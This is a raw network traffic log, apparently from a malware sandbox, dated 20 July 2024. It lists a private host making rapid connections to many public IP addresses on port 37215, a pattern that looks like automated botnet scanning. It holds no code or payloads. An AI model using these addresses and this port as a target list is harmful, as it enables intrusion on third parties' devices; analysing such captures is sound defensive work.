Jul 20, 2024 23:01:02.418277025 CEST	37215	44176	157.11.29.10	192.168.2.14
Jul 20, 2024 23:01:02.418287039 CEST	37215	53680	157.220.26.182	192.168.2.14
Jul 20, 2024 23:01:02.418472052 CEST	52725	37215	192.168.2.14	41.198.110.22
Jul 20, 2024 23:01:02.418472052 CEST	47794	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:02.418472052 CEST	45018	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:02.418472052 CEST	52725	37215	192.168.2.14	41.106.183.40
Jul 20, 2024 23:01:02.418472052 CEST	33888	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:02.418472052 CEST	36536	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:02.418472052 CEST	34332	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:02.418472052 CEST	60374	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:02.418586016 CEST	37215	50160	41.243.57.159	192.168.2.14
Jul 20, 2024 23:01:02.418591022 CEST	37215	57302	41.233.169.62	192.168.2.14
Jul 20, 2024 23:01:02.418596983 CEST	59068	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:02.418596983 CEST	49258	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:02.418596983 CEST	59774	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:02.418596983 CEST	43488	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:02.418596983 CEST	58610	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:02.418596983 CEST	54236	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:02.418596983 CEST	57418	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:02.418596983 CEST	59254	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:02.418706894 CEST	37215	58282	90.241.170.10	192.168.2.14
Jul 20, 2024 23:01:02.418711901 CEST	37215	49858	212.127.34.6	192.168.2.14
Jul 20, 2024 23:01:02.418721914 CEST	37215	45562	41.30.131.179	192.168.2.14
Jul 20, 2024 23:01:02.418767929 CEST	37215	37174	52.155.86.86	192.168.2.14
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	157.164.130.24
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	64.35.92.17
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	157.210.109.3
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	157.151.202.40
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	197.63.207.126
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	41.72.137.242
Jul 20, 2024 23:01:02.418797970 CEST	52725	37215	192.168.2.14	73.223.32.61
Jul 20, 2024 23:01:02.418930054 CEST	37215	45886	24.132.91.59	192.168.2.14
Jul 20, 2024 23:01:02.419202089 CEST	57400	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:02.419202089 CEST	44708	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:02.419202089 CEST	42126	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:02.419202089 CEST	46822	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:02.419202089 CEST	52725	37215	192.168.2.14	157.95.62.138
Jul 20, 2024 23:01:02.419203043 CEST	52725	37215	192.168.2.14	197.82.179.101
Jul 20, 2024 23:01:02.419203043 CEST	52725	37215	192.168.2.14	41.204.121.21
Jul 20, 2024 23:01:02.419203043 CEST	52725	37215	192.168.2.14	112.110.243.55
Jul 20, 2024 23:01:02.419441938 CEST	37215	54692	197.37.177.219	192.168.2.14
Jul 20, 2024 23:01:02.419502020 CEST	57200	37215	192.168.2.14	157.20.249.180
Jul 20, 2024 23:01:02.419502020 CEST	50160	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:02.419502020 CEST	52725	37215	192.168.2.14	41.69.19.5
Jul 20, 2024 23:01:02.419502020 CEST	57334	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:02.419502020 CEST	40624	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:02.419502020 CEST	40822	37215	192.168.2.14	41.121.47.232
Jul 20, 2024 23:01:02.419502020 CEST	47630	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:02.419502020 CEST	52980	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:02.419545889 CEST	37178	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:02.419545889 CEST	38644	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:02.419545889 CEST	33058	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:02.419545889 CEST	57848	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:02.419545889 CEST	52725	37215	192.168.2.14	41.231.8.58
Jul 20, 2024 23:01:02.419545889 CEST	52725	37215	192.168.2.14	157.98.149.237
Jul 20, 2024 23:01:02.419545889 CEST	52725	37215	192.168.2.14	41.199.163.233
Jul 20, 2024 23:01:02.419545889 CEST	52725	37215	192.168.2.14	221.247.42.117
Jul 20, 2024 23:01:02.419787884 CEST	52725	37215	192.168.2.14	41.239.45.81
Jul 20, 2024 23:01:02.419789076 CEST	37215	58652	197.70.43.24	192.168.2.14
Jul 20, 2024 23:01:02.419787884 CEST	54692	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:02.419787884 CEST	36104	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:02.419787884 CEST	53338	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:02.419787884 CEST	55584	37215	192.168.2.14	197.102.177.131
Jul 20, 2024 23:01:02.419787884 CEST	37866	37215	192.168.2.14	161.127.78.197
Jul 20, 2024 23:01:02.419787884 CEST	52725	37215	192.168.2.14	13.83.123.25
Jul 20, 2024 23:01:02.419787884 CEST	52725	37215	192.168.2.14	197.118.205.237
Jul 20, 2024 23:01:02.419795036 CEST	43890	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:02.419795036 CEST	59918	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:02.419795036 CEST	52725	37215	192.168.2.14	157.160.201.26
Jul 20, 2024 23:01:02.419795036 CEST	47626	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:02.419795036 CEST	50544	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:02.419795036 CEST	45068	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:02.419795036 CEST	58460	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:02.419795036 CEST	57698	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:02.419989109 CEST	37215	60374	13.86.185.73	192.168.2.14
Jul 20, 2024 23:01:02.419994116 CEST	37215	55680	197.12.227.51	192.168.2.14
Jul 20, 2024 23:01:02.420001984 CEST	57054	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:02.420001984 CEST	46280	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:02.420001984 CEST	54792	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:02.420001984 CEST	35610	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:02.420001984 CEST	36598	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:02.420001984 CEST	36306	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:02.420001984 CEST	57010	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:02.420001984 CEST	47970	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:02.420126915 CEST	37215	49206	41.239.228.171	192.168.2.14
Jul 20, 2024 23:01:02.420130968 CEST	37215	49218	197.181.156.3	192.168.2.14
Jul 20, 2024 23:01:02.420140028 CEST	37215	57334	157.136.249.217	192.168.2.14
Jul 20, 2024 23:01:02.420173883 CEST	52725	37215	192.168.2.14	41.151.103.91
Jul 20, 2024 23:01:02.420173883 CEST	52725	37215	192.168.2.14	197.236.223.188
Jul 20, 2024 23:01:02.420175076 CEST	52725	37215	192.168.2.14	147.236.229.234
Jul 20, 2024 23:01:02.420175076 CEST	52725	37215	192.168.2.14	197.132.38.147
Jul 20, 2024 23:01:02.420175076 CEST	52725	37215	192.168.2.14	197.15.43.211
Jul 20, 2024 23:01:02.420175076 CEST	52725	37215	192.168.2.14	207.128.36.162
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	197.210.215.254
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	116.110.202.131
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	157.54.143.246
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	157.195.84.8
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	157.229.220.77
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	157.41.52.109
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	41.190.196.31
Jul 20, 2024 23:01:02.420344114 CEST	52725	37215	192.168.2.14	197.37.252.166
Jul 20, 2024 23:01:02.420538902 CEST	37215	43890	157.255.17.174	192.168.2.14
Jul 20, 2024 23:01:02.420543909 CEST	37215	53616	153.57.57.9	192.168.2.14
Jul 20, 2024 23:01:02.420552969 CEST	37215	46206	157.208.127.244	192.168.2.14
Jul 20, 2024 23:01:02.420573950 CEST	60422	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:02.420573950 CEST	48024	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:02.420573950 CEST	34370	37215	192.168.2.14	41.89.17.37
Jul 20, 2024 23:01:02.420573950 CEST	59758	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:02.420573950 CEST	60422	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:02.420576096 CEST	44924	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:02.420573950 CEST	52725	37215	192.168.2.14	197.22.8.216
Jul 20, 2024 23:01:02.420576096 CEST	52592	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:02.420573950 CEST	52725	37215	192.168.2.14	41.217.62.165
Jul 20, 2024 23:01:02.420576096 CEST	52725	37215	192.168.2.14	92.18.247.90
Jul 20, 2024 23:01:02.420576096 CEST	54222	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:02.420573950 CEST	52725	37215	192.168.2.14	41.249.57.105
Jul 20, 2024 23:01:02.420576096 CEST	45326	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:02.420576096 CEST	56210	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:02.420576096 CEST	52725	37215	192.168.2.14	197.234.196.142
Jul 20, 2024 23:01:02.420576096 CEST	52725	37215	192.168.2.14	197.4.240.168
Jul 20, 2024 23:01:02.420691967 CEST	37215	59068	41.173.192.227	192.168.2.14
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	157.198.226.28
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	34.218.97.3
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	47.134.94.152
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	157.53.249.76
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	126.13.156.235
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	157.184.99.175
Jul 20, 2024 23:01:02.420762062 CEST	52725	37215	192.168.2.14	157.133.233.222
Jul 20, 2024 23:01:02.420957088 CEST	37215	40624	157.92.46.65	192.168.2.14
Jul 20, 2024 23:01:02.420969009 CEST	37215	47230	157.78.32.167	192.168.2.14
Jul 20, 2024 23:01:02.420974016 CEST	37215	59918	145.169.160.7	192.168.2.14
Jul 20, 2024 23:01:02.420978069 CEST	37215	41258	197.210.50.88	192.168.2.14
Jul 20, 2024 23:01:02.420981884 CEST	37215	38436	157.52.23.60	192.168.2.14
Jul 20, 2024 23:01:02.420981884 CEST	52725	37215	192.168.2.14	134.211.227.236
Jul 20, 2024 23:01:02.420981884 CEST	45974	37215	192.168.2.14	157.255.88.114
Jul 20, 2024 23:01:02.420990944 CEST	37215	54852	197.30.62.141	192.168.2.14
Jul 20, 2024 23:01:02.420994997 CEST	37215	35696	157.71.253.214	192.168.2.14
Jul 20, 2024 23:01:02.421004057 CEST	37215	49258	117.157.75.129	192.168.2.14
Jul 20, 2024 23:01:02.421082973 CEST	37215	40822	41.121.47.232	192.168.2.14
Jul 20, 2024 23:01:02.421087027 CEST	37215	35070	141.92.189.24	192.168.2.14
Jul 20, 2024 23:01:02.421091080 CEST	37215	57162	157.137.75.124	192.168.2.14
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	197.146.200.62
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	41.66.67.87
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	197.75.167.51
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	157.245.131.253
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	157.166.225.41
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	121.80.182.165
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	128.171.131.93
Jul 20, 2024 23:01:02.421310902 CEST	52725	37215	192.168.2.14	197.222.150.37
Jul 20, 2024 23:01:02.421408892 CEST	37215	56066	197.77.202.247	192.168.2.14
Jul 20, 2024 23:01:02.421412945 CEST	37215	47630	197.228.255.157	192.168.2.14
Jul 20, 2024 23:01:02.421494961 CEST	52725	37215	192.168.2.14	41.26.154.100
Jul 20, 2024 23:01:02.421494961 CEST	52725	37215	192.168.2.14	41.112.14.106
Jul 20, 2024 23:01:02.421494961 CEST	52725	37215	192.168.2.14	41.210.24.18
Jul 20, 2024 23:01:02.421494961 CEST	52725	37215	192.168.2.14	140.96.173.119
Jul 20, 2024 23:01:02.421495914 CEST	52725	37215	192.168.2.14	157.32.252.178
Jul 20, 2024 23:01:02.421495914 CEST	52725	37215	192.168.2.14	209.147.0.63
Jul 20, 2024 23:01:02.421495914 CEST	52725	37215	192.168.2.14	41.219.211.143
Jul 20, 2024 23:01:02.421495914 CEST	52725	37215	192.168.2.14	197.122.8.238
Jul 20, 2024 23:01:02.421689987 CEST	52725	37215	192.168.2.14	197.168.181.95
Jul 20, 2024 23:01:02.421689987 CEST	52725	37215	192.168.2.14	41.171.122.97
Jul 20, 2024 23:01:02.421689987 CEST	52725	37215	192.168.2.14	157.10.154.22
Jul 20, 2024 23:01:02.421689987 CEST	52725	37215	192.168.2.14	197.59.107.217
Jul 20, 2024 23:01:02.421690941 CEST	52725	37215	192.168.2.14	157.203.195.105
Jul 20, 2024 23:01:02.421690941 CEST	52725	37215	192.168.2.14	41.163.232.155
Jul 20, 2024 23:01:02.421719074 CEST	37215	60986	43.186.3.173	192.168.2.14
Jul 20, 2024 23:01:02.421724081 CEST	37215	51150	41.188.32.205	192.168.2.14
Jul 20, 2024 23:01:02.421734095 CEST	37215	52980	197.195.106.45	192.168.2.14
Jul 20, 2024 23:01:02.421739101 CEST	37215	56944	197.200.12.199	192.168.2.14
Jul 20, 2024 23:01:02.421747923 CEST	37215	47626	41.160.188.126	192.168.2.14
Jul 20, 2024 23:01:02.421897888 CEST	52725	37215	192.168.2.14	41.148.189.69
Jul 20, 2024 23:01:02.421897888 CEST	52725	37215	192.168.2.14	157.56.141.122
Jul 20, 2024 23:01:02.421897888 CEST	52725	37215	192.168.2.14	197.125.51.90
Jul 20, 2024 23:01:02.421897888 CEST	52725	37215	192.168.2.14	100.213.119.151
Jul 20, 2024 23:01:02.421897888 CEST	52725	37215	192.168.2.14	197.204.169.151
Jul 20, 2024 23:01:02.421897888 CEST	52725	37215	192.168.2.14	197.110.144.246
Jul 20, 2024 23:01:02.421897888 CEST	57400	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:02.421914101 CEST	37215	52176	126.166.207.208	192.168.2.14
Jul 20, 2024 23:01:02.421919107 CEST	37215	59774	41.79.186.119	192.168.2.14
Jul 20, 2024 23:01:02.421927929 CEST	37215	45842	41.117.226.58	192.168.2.14
Jul 20, 2024 23:01:02.421958923 CEST	52725	37215	192.168.2.14	41.16.45.19
Jul 20, 2024 23:01:02.421958923 CEST	52725	37215	192.168.2.14	41.219.228.80
Jul 20, 2024 23:01:02.421958923 CEST	52725	37215	192.168.2.14	157.177.157.155
Jul 20, 2024 23:01:02.422034025 CEST	58450	37215	192.168.2.14	157.114.223.179
Jul 20, 2024 23:01:02.422105074 CEST	37215	32986	32.244.217.115	192.168.2.14
Jul 20, 2024 23:01:02.422111034 CEST	37215	43488	41.226.92.193	192.168.2.14
Jul 20, 2024 23:01:02.422127008 CEST	37215	38188	197.249.151.109	192.168.2.14
Jul 20, 2024 23:01:02.422135115 CEST	37215	54692	41.131.64.64	192.168.2.14
Jul 20, 2024 23:01:02.422143936 CEST	37215	50544	60.162.189.105	192.168.2.14
Jul 20, 2024 23:01:02.422148943 CEST	37215	57054	197.77.31.163	192.168.2.14
Jul 20, 2024 23:01:02.422158957 CEST	37215	58610	197.8.234.46	192.168.2.14
Jul 20, 2024 23:01:02.422163963 CEST	37215	35314	157.75.252.43	192.168.2.14
Jul 20, 2024 23:01:02.422172070 CEST	37215	53052	124.232.166.233	192.168.2.14
Jul 20, 2024 23:01:02.422298908 CEST	37215	54236	197.164.125.148	192.168.2.14
Jul 20, 2024 23:01:02.422365904 CEST	37215	50604	199.150.19.53	192.168.2.14
Jul 20, 2024 23:01:02.422369957 CEST	37215	57418	41.212.179.177	192.168.2.14
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	197.247.207.133
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	41.221.197.163
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	41.130.46.12
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	157.251.237.80
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	157.171.214.195
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	41.178.230.217
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	41.153.23.228
Jul 20, 2024 23:01:02.422394037 CEST	52725	37215	192.168.2.14	41.175.221.147
Jul 20, 2024 23:01:02.422509909 CEST	52725	37215	192.168.2.14	157.206.59.59
Jul 20, 2024 23:01:02.422509909 CEST	52725	37215	192.168.2.14	41.90.112.177
Jul 20, 2024 23:01:02.422509909 CEST	52725	37215	192.168.2.14	157.127.236.19
Jul 20, 2024 23:01:02.423069954 CEST	37215	34686	113.163.100.190	192.168.2.14
Jul 20, 2024 23:01:02.423273087 CEST	37215	54462	157.81.103.110	192.168.2.14
Jul 20, 2024 23:01:02.423276901 CEST	37215	53680	157.220.26.182	192.168.2.14
Jul 20, 2024 23:01:02.423286915 CEST	37215	46280	197.241.150.191	192.168.2.14
Jul 20, 2024 23:01:02.423290968 CEST	37215	36104	157.31.140.76	192.168.2.14
Jul 20, 2024 23:01:02.423295021 CEST	37215	57302	41.233.169.62	192.168.2.14
Jul 20, 2024 23:01:02.423300982 CEST	52725	37215	192.168.2.14	41.237.8.234
Jul 20, 2024 23:01:02.423300982 CEST	52725	37215	192.168.2.14	197.249.120.165
Jul 20, 2024 23:01:02.423301935 CEST	52725	37215	192.168.2.14	53.124.223.12
Jul 20, 2024 23:01:02.423301935 CEST	52725	37215	192.168.2.14	128.236.195.19
Jul 20, 2024 23:01:02.423301935 CEST	52725	37215	192.168.2.14	197.128.161.194
Jul 20, 2024 23:01:02.423301935 CEST	52725	37215	192.168.2.14	155.166.101.174
Jul 20, 2024 23:01:02.423301935 CEST	52725	37215	192.168.2.14	197.215.145.141
Jul 20, 2024 23:01:02.423301935 CEST	52725	37215	192.168.2.14	157.45.130.179
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	197.50.248.82
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	13.89.210.7
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	41.18.241.83
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	161.20.149.88
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	197.188.1.222
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	80.171.5.112
Jul 20, 2024 23:01:02.423403025 CEST	52725	37215	192.168.2.14	99.15.251.234
Jul 20, 2024 23:01:02.423612118 CEST	37215	48024	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:02.423616886 CEST	37215	54792	157.47.87.238	192.168.2.14
Jul 20, 2024 23:01:02.423626900 CEST	37215	53338	37.3.189.109	192.168.2.14
Jul 20, 2024 23:01:02.423743010 CEST	37215	45068	197.153.186.108	192.168.2.14
Jul 20, 2024 23:01:02.423748016 CEST	37215	35610	157.136.175.137	192.168.2.14
Jul 20, 2024 23:01:02.423887968 CEST	37215	42316	41.34.34.12	192.168.2.14
Jul 20, 2024 23:01:02.423892975 CEST	37215	55584	197.102.177.131	192.168.2.14
Jul 20, 2024 23:01:02.423978090 CEST	37215	48950	197.136.233.151	192.168.2.14
Jul 20, 2024 23:01:02.423983097 CEST	37215	58460	207.21.193.219	192.168.2.14
Jul 20, 2024 23:01:02.423993111 CEST	44376	37215	192.168.2.14	197.199.221.47
Jul 20, 2024 23:01:02.424412012 CEST	37215	37866	161.127.78.197	192.168.2.14
Jul 20, 2024 23:01:02.424690008 CEST	48024	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:02.426250935 CEST	46822	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:02.426251888 CEST	42126	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:02.426251888 CEST	44708	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:02.426251888 CEST	57400	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:02.426259995 CEST	38644	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:02.426259995 CEST	37178	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:02.426263094 CEST	54222	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:02.426263094 CEST	52592	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:02.426263094 CEST	44924	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:02.426264048 CEST	57010	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:02.426264048 CEST	47970	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:02.426264048 CEST	36306	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:02.426264048 CEST	36598	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:02.426381111 CEST	37215	40600	197.59.92.194	192.168.2.14
Jul 20, 2024 23:01:02.426399946 CEST	37215	57698	157.177.125.202	192.168.2.14
Jul 20, 2024 23:01:02.426403999 CEST	37215	48420	41.80.60.235	192.168.2.14
Jul 20, 2024 23:01:02.426414013 CEST	37215	39320	4.79.178.142	192.168.2.14
Jul 20, 2024 23:01:02.426418066 CEST	37215	57400	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:02.426517963 CEST	32874	37215	192.168.2.14	197.5.87.246
Jul 20, 2024 23:01:02.426541090 CEST	37215	36598	197.170.105.28	192.168.2.14
Jul 20, 2024 23:01:02.426546097 CEST	37215	44016	24.34.240.214	192.168.2.14
Jul 20, 2024 23:01:02.426556110 CEST	37215	36306	157.229.133.19	192.168.2.14
Jul 20, 2024 23:01:02.426559925 CEST	37215	57882	41.40.48.20	192.168.2.14
Jul 20, 2024 23:01:02.426568031 CEST	37215	38906	60.250.175.203	192.168.2.14
Jul 20, 2024 23:01:02.426573038 CEST	37215	59254	152.71.212.76	192.168.2.14
Jul 20, 2024 23:01:02.426582098 CEST	37215	44708	41.7.80.153	192.168.2.14
Jul 20, 2024 23:01:02.426585913 CEST	37215	37178	197.17.71.182	192.168.2.14
Jul 20, 2024 23:01:02.426594973 CEST	37215	42126	41.27.117.169	192.168.2.14
Jul 20, 2024 23:01:02.426599026 CEST	37215	54692	197.37.177.219	192.168.2.14
Jul 20, 2024 23:01:02.426646948 CEST	37215	46822	81.216.201.21	192.168.2.14
Jul 20, 2024 23:01:02.426650047 CEST	37215	58652	197.70.43.24	192.168.2.14
Jul 20, 2024 23:01:02.426659107 CEST	37215	35292	197.196.172.22	192.168.2.14
Jul 20, 2024 23:01:02.426662922 CEST	37215	57010	41.180.195.47	192.168.2.14
Jul 20, 2024 23:01:02.426816940 CEST	37215	60422	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:02.426821947 CEST	37215	42576	197.24.4.235	192.168.2.14
Jul 20, 2024 23:01:02.426831007 CEST	37215	48024	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:02.426835060 CEST	37215	47970	41.248.220.216	192.168.2.14
Jul 20, 2024 23:01:02.426839113 CEST	37215	48840	61.165.104.213	192.168.2.14
Jul 20, 2024 23:01:02.426842928 CEST	37215	38644	199.67.163.62	192.168.2.14
Jul 20, 2024 23:01:02.426846981 CEST	37215	55478	197.196.31.171	192.168.2.14
Jul 20, 2024 23:01:02.426851034 CEST	37215	33058	197.88.129.45	192.168.2.14
Jul 20, 2024 23:01:02.426855087 CEST	37215	41636	157.216.161.59	192.168.2.14
Jul 20, 2024 23:01:02.426858902 CEST	37215	46694	138.242.39.199	192.168.2.14
Jul 20, 2024 23:01:02.426867008 CEST	37215	51542	66.133.8.3	192.168.2.14
Jul 20, 2024 23:01:02.426871061 CEST	37215	34370	41.89.17.37	192.168.2.14
Jul 20, 2024 23:01:02.426973104 CEST	37215	44924	41.145.5.36	192.168.2.14
Jul 20, 2024 23:01:02.426976919 CEST	37215	55730	37.110.59.42	192.168.2.14
Jul 20, 2024 23:01:02.426985979 CEST	37215	59758	157.59.236.255	192.168.2.14
Jul 20, 2024 23:01:02.426990032 CEST	37215	57848	139.212.201.39	192.168.2.14
Jul 20, 2024 23:01:02.426994085 CEST	37215	59868	118.0.129.46	192.168.2.14
Jul 20, 2024 23:01:02.427037954 CEST	59758	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:02.427037954 CEST	48024	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:02.427037954 CEST	60422	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:02.427402973 CEST	37215	45474	157.203.119.152	192.168.2.14
Jul 20, 2024 23:01:02.427407026 CEST	37215	58282	90.241.170.10	192.168.2.14
Jul 20, 2024 23:01:02.427416086 CEST	37215	49858	212.127.34.6	192.168.2.14
Jul 20, 2024 23:01:02.428000927 CEST	37215	45562	41.30.131.179	192.168.2.14
Jul 20, 2024 23:01:02.428015947 CEST	37215	34462	197.74.63.134	192.168.2.14
Jul 20, 2024 23:01:02.428020000 CEST	37215	52592	41.181.208.214	192.168.2.14
Jul 20, 2024 23:01:02.428029060 CEST	37215	52068	157.245.238.163	192.168.2.14
Jul 20, 2024 23:01:02.428033113 CEST	37215	54222	42.255.69.128	192.168.2.14
Jul 20, 2024 23:01:02.428523064 CEST	37215	45158	41.122.12.187	192.168.2.14
Jul 20, 2024 23:01:02.428528070 CEST	37215	43282	157.135.213.6	192.168.2.14
Jul 20, 2024 23:01:02.428531885 CEST	37215	37444	197.108.206.182	192.168.2.14
Jul 20, 2024 23:01:02.428595066 CEST	37215	52714	181.36.87.26	192.168.2.14
Jul 20, 2024 23:01:02.428599119 CEST	37215	42224	157.11.56.240	192.168.2.14
Jul 20, 2024 23:01:02.428653002 CEST	37215	45326	41.156.215.126	192.168.2.14
Jul 20, 2024 23:01:02.429234982 CEST	37215	36238	76.199.109.54	192.168.2.14
Jul 20, 2024 23:01:02.429239988 CEST	37215	53792	197.95.27.148	192.168.2.14
Jul 20, 2024 23:01:02.429248095 CEST	37215	40186	41.115.1.213	192.168.2.14
Jul 20, 2024 23:01:02.429251909 CEST	37215	59604	41.99.10.85	192.168.2.14
Jul 20, 2024 23:01:02.429260015 CEST	37215	56210	41.10.15.208	192.168.2.14
Jul 20, 2024 23:01:02.429264069 CEST	37215	49218	197.181.156.3	192.168.2.14
Jul 20, 2024 23:01:02.429267883 CEST	37215	41482	157.88.41.229	192.168.2.14
Jul 20, 2024 23:01:02.429271936 CEST	37215	35110	197.255.176.169	192.168.2.14
Jul 20, 2024 23:01:02.429275036 CEST	37215	37174	52.155.86.86	192.168.2.14
Jul 20, 2024 23:01:02.429277897 CEST	37215	59068	41.173.192.227	192.168.2.14
Jul 20, 2024 23:01:02.429281950 CEST	37215	41258	197.210.50.88	192.168.2.14
Jul 20, 2024 23:01:02.429487944 CEST	37215	45842	41.117.226.58	192.168.2.14
Jul 20, 2024 23:01:02.429491997 CEST	37215	35314	157.75.252.43	192.168.2.14
Jul 20, 2024 23:01:02.429501057 CEST	37215	49258	117.157.75.129	192.168.2.14
Jul 20, 2024 23:01:02.429505110 CEST	37215	47794	197.232.128.49	192.168.2.14
Jul 20, 2024 23:01:02.429507971 CEST	41490	37215	192.168.2.14	197.249.254.134
Jul 20, 2024 23:01:02.429513931 CEST	37215	59774	41.79.186.119	192.168.2.14
Jul 20, 2024 23:01:02.429517031 CEST	37215	50604	199.150.19.53	192.168.2.14
Jul 20, 2024 23:01:02.429526091 CEST	37215	54462	157.81.103.110	192.168.2.14
